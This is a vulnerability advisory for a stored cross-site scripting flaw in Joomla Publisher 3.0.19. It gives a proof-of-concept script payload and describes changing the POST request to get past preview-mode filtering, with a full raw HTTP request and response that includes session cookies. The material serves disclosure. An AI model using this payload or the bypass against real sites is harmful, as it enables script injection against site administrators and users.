Joomla Publisher V 3.0.19 Stored XSS

2020.11.04
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: Joomla Publisher V 3.0.19 Stored XSS # Date: 03.11.2020 # Author: Vincent666 ibn Winnie # Software Link: https://publisher.ijoomla.com/demo # Tested on: Windows 10 # Web Browser: Mozilla Firefox # Blog : https://pentest.vincent.blogspot.com/ # PoC: https://pentestvincent.blogspot.com/2020/11/joomla-publisher-v-3019-stored-xss.html Poc: We have stored xss and stored html injection in Publisher v 3.0.19. I put there is one interesting method in the body "Article" with Method Post. Create article and put simple xss code : ""> <script>alert("Hello") </script> And click "submit article". XSS code is works.. https://ijoomlademo.com/administrator/index.php?option=com_publisher&controller=articles https://imgur.com/a/ylpLcJV https://imgur.com/a/XHNHp4c But it doesn't work in preview mode. https://imgur.com/a/1BG07Mn The administrator can check articles in preview mode. What do we do? Let's use the addon in the firefox "HTTP Live Headers" and change our article with the Post Method. ""><script>alert("Hello")</script><body background="https://pbs.twimg.com/media/D_dG89lXkAAU8P4.png"> Open Http Live Headers, Edit Article, Save this and Change Post Request and send this. https://imgur.com/a/ogpYEGf Let's see what we have in preview mode. https://imgur.com/a/QvQZNNw https://imgur.com/a/Vzjxfpd .................................................................................. https://ijoomlademo.com/index.php/publisher/my-articles/articlesedit/core_joomla/32 Host: ijoomlademo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 341 Origin: https://ijoomlademo.com Connection: keep-alive Referer: https://ijoomlademo.com/index.php/publisher/my-articles/articlesedit/core_joomla/32 Cookie: __cfduid=dbbb4e38c58b733c11296ba0adf86aee61604442214; c1095a90cabfb304b8e3637676e86d5a=91ionv40vq50bcapv23954o6kn; 4681557252fe8ff3df4a28d60cb41dc7=lpulqnuggmo1p7cs806stm6t5s; joomla_user_state=logged_in; currentURI=https%3A%2F%2Fijoomlademo.com%2Findex.php%3Foption%3Dcom_community%26view%3Dfriends%26task%3DajaxAutocomplete%26allfriends%3D1 Upgrade-Insecure-Requests: 1 title=test&heading=test&cat_id=8&content=<p>""&gt;&lt;script&gt;alert("Hello")&lt;/script&gt;<br></p>&id=32&controller=articlesedit&option=com_publisher&editor_name=&task=store&authid=231&media=&type=core_joomla&article_id=28&mandatory_status=approved&article_status=1&edit_a=1&edit_s=approved POST: HTTP/2.0 303 See Other date: Tue, 03 Nov 2020 22:32:40 GMT content-type: text/html; charset=utf-8 x-powered-by: PHP/7.2.33 p3p: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" location: /index.php/publisher/my-articles/articlesedit/32 expires: Wed, 17 Aug 2005 00:00:00 GMT last-modified: Tue, 03 Nov 2020 22:32:40 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache cf-cache-status: DYNAMIC cf-request-id: 0631d6bb1e00000057b093c000000001 expect-ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=4BKJ9XaQXZogqrRC4jLDlbWNJ3lklLos6kkmngfBver4wHRDvpbqrVk89c6FtvKZHPe8wAmywNqRUdxp2zDfVbi9ajV4PStFG5DOdB7MvvA%3D"}],"group":"cf-nel","max_age":604800} nel: {"report_to":"cf-nel","max_age":604800} server: cloudflare cf-ray: 5ec98d71cf160057-DME X-Firefox-Spdy: h2 ..................................................................................


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top